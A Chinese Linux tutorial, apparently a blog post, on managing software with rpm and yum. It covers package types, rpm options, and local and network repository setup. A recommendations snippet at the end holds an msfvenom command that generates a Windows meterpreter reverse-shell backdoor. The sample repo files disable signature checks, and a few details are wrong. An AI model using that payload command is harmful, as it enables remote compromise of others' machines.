本节内容

一、rpm:管理linux软件程序的

特点:安装方便

不能解决依赖关系

1、安装软件:

-i:

-v:

-h:

rpm -ivh 包名

2、卸载软件

-e: 清楚

rpm -e 程序名

3、查询

-q: 查询

-l: 查询软件生成的相关文件

-i: 软件信息

-a: 查询所有已经安装的程序

-f: 查找文件所依赖的包

-c:

-d:

rpm -q 程序名 --》查询该程序是否已经安装

rpm -ql 程序名 --》查询该程序生成的文件

rpm -qf `which command` -->查看文件所依赖的包

rpm -qa -->查询所有已经安装和未安装的包

4、升级

-U:安装并升级

-F:只升级

二、yum

安装方便,可以自动解决依赖关系。

1、yum工作原理

2、yum仓库配置

3、yum配置文件

主配置文件:/etc/yum.conf

子配置文件:/etc/yum.repos.d/*.repo

4、yum仓库配置

本地yum仓库:

cd /etc/yum.repos.d

mkdir ken

mv C* ken

touch local.repo

[repoid]

name=reponame

enabled=1

gpgcheck=0

baseurl=file:///mnt

网络仓库

cd /etc/yum.repos.d

mkdir ken

mv C* ken

touch local.repo

[repoid]

name=reponame

enabled=1

gpgcheck=0

baseurl=https://mirrors.aliyun.com/epel/7Server/x86_64/

5、yum常用的用法

安装:

yum install 软件名 . . . -y

卸载:

yum remove 软件名. . . -y

查询:

查询所有包:yum list / yum list all

查询已经安装的: yum list installed

查询所有未安装的: yum list available

清空缓存: yum clean all

查询仓库信息: yum repolist




一、 软件管理简介

1、软件包分类

(1)源码包(脚本安装包)

(2)二进制包(RPM包、系统默认包)

2、源码包

源码包的优点:

(1)开源,如果有足够的能力,可以修改源代码

(2)可以自由选择所需的功能

(3)软件是编译安装,所以更加适合自己的系统,更加稳定也效率更高

(4)卸载方便

源码包的缺点:

(1)安装过程步骤较多,尤其安装较大的软件集合时(如LAMP环境搭建),容易出现拼写错误

(2)编译过程时间较长,安装比二进制安装时间长

(3)因为是编译安装,安装过程中一旦报错新手很难解决

3、RPM包

二进制包的优点:

(1)包管理系统简单,只通过几个命令就可以实现包的安装、升级、查询和卸载

(2)安装速度比源码包安装快的多

二进制包缺点:

(1)经过编译,不再可以看到源代码

(2)功能选择不如源码包灵活

(3)依赖性非常复杂

4、软件安装方式总结

安装软件方式有如下几种

方式1:编译安装

将源码程序按照需求进行先编译,后安装

缺点:安装过程复杂,而且很慢

优点:安装过程可控,真正的按需求进行安装(安装位置、安装的模块都可以选择)

方式2:rpm安装(用rpm来安装rpm后缀的安装包)

优点:安装和卸载过程非常方便

缺点:安装过程不可控(安装位置,安装那些功能模块)rpm包的依赖关系非常复杂

方式3:yum安装

yum安装,其实就是自动分析rpm包的依赖关系,然后按照需要的顺序依次安装

方式4:绿色安装

二、 RPM

1、rpm简介

这是一个数据库管理工具,可以通过读取数据库,判断软件是否已经安装,如果已经安装可以读取出来所有文件的所在位置等,并可以实现删除这些文件。

rpm:RPM is Redhat Package Manager(递归缩写)

rpm可以完成的操作

安装软件

卸载软件

查询软件信息

升级、降级

检验

打包程序

rpm软件包命名规则

rpm软件包的文件格式:package-version-release.type.rpm

各字段的说明:

  1. package软件的名称。
  2. version软件的版本。
  3. release软件的释放号码。
  4. type软件的类型。
  5. rpm扩展名

rpm仅仅能管理符合rpm格式的程序包,不能管理源码格式的程序

程序的格式:

(1)源码格式的程序:都是以压缩方式呈现的(后缀都是.tar.gz|bz2)

(2)rpm格式的程序:这都是编译以后的程序 (后缀都是.rpm)

rpm依赖关系:

树形依赖:a---b---c

环形依赖:a---b---c---a

模块依赖:模块依赖查询网站(www.rpmfind.net)

2、安装rpm包

格式:rpm -ivh  软件包名

选项

-i:(install)安装软件

-v:(verbose)显示安装详细过程

-h:(hash散列)用#表示安装进度(# 2%)

-vv:显示更详细的安装过程信息

-vvv:显示更更详细的安装过程信息

--nodeps:不检查依赖性(不建议使用)

3、卸载rpm包

格式:rpm -e 软件名

选项:

-e:(erase擦去,删除)卸载软件

--nodeps:不检查依赖性

例子:卸载软件包ren

# rpm -e ren

4、查询已经安装的rpm包

格式:rpm -q 软件名

选项:

-q:(query查询,询问)查看一个已经安装的软件

-a:(all)查看所有已经安装的软件

-l:(list)显示软件安装完成以后生成文件列表(所有文件)

-i:(infomation)查看软件包的相关信息

-p:(package)查询未安装包信息

-d:(docfiles)显示该软件所生成的说明性质的文档列表

-c:(configfiles)查看软件所生成的配置文件列表

--scripts:查看软件相关的脚本

补充:

安装前脚本(preinstall)

安装后脚本(postinstall)

卸载前脚本(preuninstall)

卸载后脚本(postuninstall)

例子:查看ren是否安装

# rpm -q ren

例子:查看当前系统所有已经安装的软件

# rpm -qa

5、查看文件是哪个软件(rpm包)生成的

rpm -qf /path/to/file

-f:(file)查询系统文件属于哪个软件包

6、升级软件

选项

-U:(upgrade)升级或安装软件

-F:(filename)仅仅是升级操作

使用格式;

rpm -Fvh 软件包名

rpm -Uvh 软件包名

7、查询软件包的依赖性

rpm -qR 软件包名

选项:

-R:(requires)查询软件包的依赖性

8、rpm包校验

rpm -V 已安装的包名

选项:

-V:(verify核实,验证)校验指定RPM包中的文件

验证内容中的8个信息的具体内容如下:

S

文件大小是否改变

M

文件的类型或文件的权限(rwx)是否被改变

5

文件MD5校验和是否改变(可以看成文件内容是否改变)

D

设备的主从代码是否改变

L

文件路径是否改变

U

文件的属主(所有者)是否改变

G

文件的属组是否改变

T

文件的修改时间是否改变

文件类型:

c

配置文件(config file)

d

普通文件(documentation)

g

“鬼”文件(ghost file),很少见,就是该文件不应该被这个rpm包包含

l

授权文件(license file)

r

描述文件(read me)

三、yum 软件管理

也是一个rpm包的管理工具,可以实现自动解决rpm包的依赖关系(自动安装依赖顺序进行rpm包的安装)

为何rpm包会有依赖关系?

制作rpm的人,在制作rpm包的时候,就将这个rpm的所依赖的软件的信息保存在这个rpm包的内部

1、yum的工作原理

(1)需要首先创建一个yum仓库(rpm包仓库、软件仓库)

1)仓库其实就是一个目录

2)仓库中存放的是rpm包

3)仓库中还保存了一个文件,文件中记录了该仓库中所有rpm包的元数据信息

4)元数据信息包括

软件名

软件版本

软件是否已经安装

软件的依赖关系

(2)用 yum 来从仓库中找软件进行安装的过程(比如要安装软件A,A依赖B 和C,B依赖C和D)

1)yum首先会扫描保存元数据信息的文件,检查A是否已经安装,如果已经安装,那提示已经安装

2)如果A尚未安装,那么扫描A的依赖关系信息,会发现A 依赖B 和C

3)yum会再次扫描元数据文件,检测B和C 是否安装,如果都已经安装,那么会开始开始安装A

4)如果B和C尚未安装,那么会检测 B和C的依赖关系,会发现B依赖C和D

5)yum会再次扫描元数据文件,检测C和D是否安装,如果都已经安装,那么会开始开始安装B,然后安装C,然后安装A

2、yum仓库

本地:将本地的一个目录做成yum仓库,只有当前系统可以

网络:通过网络将服务器上的一个目录作为yum仓库,网络中的全部主机都可以用

使用yum仓库的方式,就是修改yum的配置文件

yum的配置文件

主:/etc/yum.conf

子:/etc/yum.repos.d/*.repo

/etc/yum.conf文件:cachedir=/var/cache/yum/$basearch/$releasever

指定缓存文件的保存位置,默认:/var/cache/yum/x86_64/7/

keepcache=0:指定是否保留缓存文件

用yum安装软件过程中会从yum仓库下载并缓存多个资源

1)会将yum仓库的元数据文件缓存到配置文件所指定的路径中

2)会将要安装的软件及其依赖的软件一并缓存到配置文件指定的目录中

3、yum配置文件的构成

[localRpm]  <<< 指定yum仓库的id,可以随便写,但是中间不能有空格

name=xxx    <<< 指定yum仓库的名称,可以随便写

enabled=0|1   <<< 指定是否使用该yum仓库,0表示不使用;1表示使用

gpgcheck=0|1   <<< 指定是否对rpm包做完整性和来源合法性验证,0表示不做验证;1表示必须做验证

gpgkey=   <<< 指定公钥文件(如果gpgcheck=1,那么该项不能省略)

baseurl=   <<< 指定yum仓库的url(yum源服务器地址),可以改成其他的(比如:阿里、清华、华为开源镜像站)

4、yum仓库的url的表示方式

注意:

在指定yum仓库的时候,其实不是指向rpm包的目录,而是执行repodata所在目录

本地yum仓库

file://

例子:比如我的yum仓库 /myrpm,此时yum仓库的表示方式就是file:///myrpm

网络yum仓库

http://

5、创建本地yum仓库

使用光盘中的rpm包作为yum仓库

第一步:挂载光盘

# mount /dev/cdrom /media

第二步:备份yum自带的配置文件

# cd /etc/yum.repos.d

# mkdir bak

# mv *.repo bak

或者

mv CentOS-Base.repo CentOS-Base.repo.bak

mv CentOS-Debuginfo.repo CentOS-Debuginfo.repo.bak

第三步:创建yum的配置文件,使用光盘作为yum仓库

# vim 1.repo

[myrepo]

name=my repo

enabled=1   #让这个yum源配置文件生效

gpgcheck=0

baseurl=file:///media #地址为自己光盘的挂载地址

第四步:执行yum命令检测结果

# yum clean all    <<< 清空yum缓存的全部数据

# yum repolist     <<< 检查yum仓库中有多少个可用的rpm包

6、yum使用

(1)安装软件

yum -y install 软件1 软件2 软件3 ....

yum -y localinstall 软件包  #安装本地安装包

(2)卸载软件

yum -y remove 软件1 软件2 软件3 ....

(3)管理包组

grouplist:查看系统中的全部的包组

groupinfo 包组名:查看指定包组的信息(包组的作用、包含的软件)

groupinstall 包组名:安装指定的包组

groupremove 包组名:卸载指定的包组

CentOS7:命令行界面升级为图形化界面

yum groupinstall "X Window System" -y

yum groupinstall "GNOME Desktop" "Graphical Administration Tools" -y

这时,我们可以通过命令 startx 进入图形界面,第一次进入会比较慢,请耐心等待。(可能需要重启,命令为reboot)

(4)管理yum的缓存数据

clean [ packages | metadata | all ]

all:清除所有数据

packages:仅仅清除rpm包

metadata:仅仅清理缓存元数据

(5)查看所有已经安装和尚未安装rpm包

yum list all 或者yum list 可以列出所有的软件包

yum search 关键字   #搜索服务器上所有和关键字相关的包

(6)yum list available:仅仅显示可以安装但是尚未安装的rpm包

(7)yum list  installed:仅仅显示已经安装rpm包

@:表示已经安装rpm

(8)查看yum仓库的信息

yum repolist

7、网络yum源的使用方式

国内主流的网络yum仓库地址

mirrors.aliyun.com

mirrors.163.com

mirrors.sohu.com

rpm的yum源

centos提供的

epel提供的:

例子:使用aliyun提供的epel 和centos的yum源

cd /etc/yum.repos.d

mkdir bak

mv *.repo bak

vim new.repo

[centos]

name=centos repo

enabled=1

gpgcheck=0

baseurl=http://mirrors.163.com

[epel]

name=epel repo

enabled=1

enabled=1

baseurl=http://xxxx

8、制作一个网络yum源

思路:在网络上准备一个主机,在其中安装一个web服务器软件(比如apache),然后创建一个目录,在这个目录中准备上yum仓库的全部资源,如果用户可以通过网络访问到该主机的这个目录,那么这个目录就成为网络yum仓库

实现过程

第一步:配置yum源主机

1)安装配置apache

2)配置yum仓库相关资源

1. 创建一个目录,作为存储yum资源的目录

# mkdir /usr/local/apache/htdocs/mysource

2. 挂载光盘

# mount /dev/cdrom /mnt

3. 将光盘中的资源复制到前面所创建的目录下

# cp /mnt/* /usr/local/apache/htdocs/mysource -rvf

4. 用浏览器访问一下yum仓库,检查是否可以看到相关文件

http://ip/mysource

第二步:配置客户端主机

修改yum配置文件

1)备份原有的配置文件

# mkdir bak

# mv *.repo bak

# vim a.repo

[]

name

enabled=

gpgcheck=

baseurl=http://ip/mysource

2)测试一下

# yum repolist

Linux进阶之软件管理的更多相关文章

  1. 【Linux】apt软件管理和远程登录

    镜像下载.域名解析.时间同步请点击 阿里云开源镜像站 1. apt 介绍 apt 是 Advanced Packaging Tool 的简称,是一款安装包管理工具.在 Ubuntu 下,可以使用 ap ...

  2. Linux入门-9 软件管理基础(CentOS)

    0. 源代码形式 1. RPM软件包管理 RPM RPM查询 RPM验证 2. YUM软件管理 YUM基本命令 YUM查询 创建YUM仓库 0. 源代码形式 绝大多数开源软件都是直接以源代码形式发布 ...

  3. Linux系统管理_软件管理

    RPM命令 #管理.rpm文件 #RPM包软件命名规则:name-version-releases.arch.rpm rpm -ivh pkgname #安装软件包 rpm -ivh --test p ...

  4. Linux下的软件管理

    一.软件包管理简介     1源码包(脚本安装)        ①.特点: a.开源 ,可以修改                        b.自由选择所需功能                   ...

  5. Linux进阶之日志管理

    一.何为日志 1.在程序执行时,可以通过标准输出以及错误输出,让我们知道程序的执行情况,而系统不可能将所有程序的输出信息一起显示,要知道后台执行的程序非常之多,如果一起显示,那我们不用操作了,整天只看 ...

  6. Linux之apt-get软件管理

    apt-get 用Linux apt-get命令的第一步就是引入必需的软件库,Debian的软件库也就是所有Debian软件包的集合,它们存在互联网上的一些公共站点上.把它们的地址加入,apt-get ...

  7. Linux之yum软件管理

    YUM yum = Yellow dog Updater, Modified主要功能是更方便的添加/删除/更新RPM包.它能自动解决包的倚赖性问题. 它能便于管理大量系统的更新问题 yum特点 *可以 ...

  8. linux进阶之yum管理

    一.部署私有repo源 1.官网下载需要的仓库: rsync -avrt --delete rsync://mirrors.ustc.edu.cn/centos/7/cloud/x86_64/open ...

  9. Linux进阶之进程管理

    本节内容 1.进程管理 2.ps 3.uptime 4.top 5.ss -tnl------ lsof -i :22 一. 进程管理的概念 程序:二进制文件,静态 /bin/date,/usr/sb ...

随机推荐

  1. msf记录

    生成backdoor msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.133 LPORT=6666 -f exe >/ ...

  2. day-9 xctf-int_overflow

    xctf-int_overflow 题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&am ...

  3. 0ctf_2017_babyheap

    0ctf_2017_babyheap 首先检查一下保护 IDA 分析好的代码如下 首先申请了一块内存地址用来存放结构体数组,地址随机. 堆题常见的几个功能.我们来看看add 这里申请内存用的是call ...

  4. Spring Boot+MySQL+Spring Data JPA一个Web的Demo

    2020.06.23 更新 1 概述 一个简单的web项目配合MySQL+Hibernate+Tomcat的简单示例demo,很容易在此基础上扩展成自己的项目. 2 创建工程 笔者IDE为Intell ...

  5. Ducci Sequence UVA - 1594

      A Ducci sequence is a sequence of n-tuples of integers. Given an n-tuple of integers (a1,a2,···,an ...

  6. matlab通用命令

    常用命令 命令 命令说明 cd 显示或改变当前文件夹 dir 显示当前文件夹或指定目录下的文件 clc 清除工作窗中的所有显示内容 home 将光标移至命令行窗口的最左上角 clf 清除图形窗口 ty ...

  7. 一次死锁导致CPU异常飘高的整个故障排查过程

    目录 一.问题详情 top 命令截图 联系腾讯云排查 检查系统日志发现异常 二. 问题解析 三.问题原因 最终结论 四.扩展 进程的几种状态 马后炮 如何快速清理僵尸进程(Z) 内核参数相关 如何查看 ...

  8. Day05_18_类和对象的含义与关系

    Java 类和对象 类的含义? 类属于引用数据类型,java语言中所有的.class都属于引用数据类型, 在类体当中,方法体之外定义的变量被称为 成员变量,成员变量若没有赋值,系统会默认赋值为0: 先 ...

  9. Java获取多线程执行结果方式的归纳与总结

    在日常的项目开发中,我们会经常遇到通过多线程执行程序并需要返回执行结果的场景,下面我们就对获取多线程返回结果的几种方式进行一下归纳,并进行简要的分析与总结. 一.Thread.join 在一些简单的应 ...

  10. 三维 WebGIS 新玩具:OpenGlobus

    代码仓库地址:https://github.com/openglobus/openglobus 原创.@秋意正寒 目录 1 简介 2 HelloGlobus 3 在 Vite 中与 vue3 集成 4 ...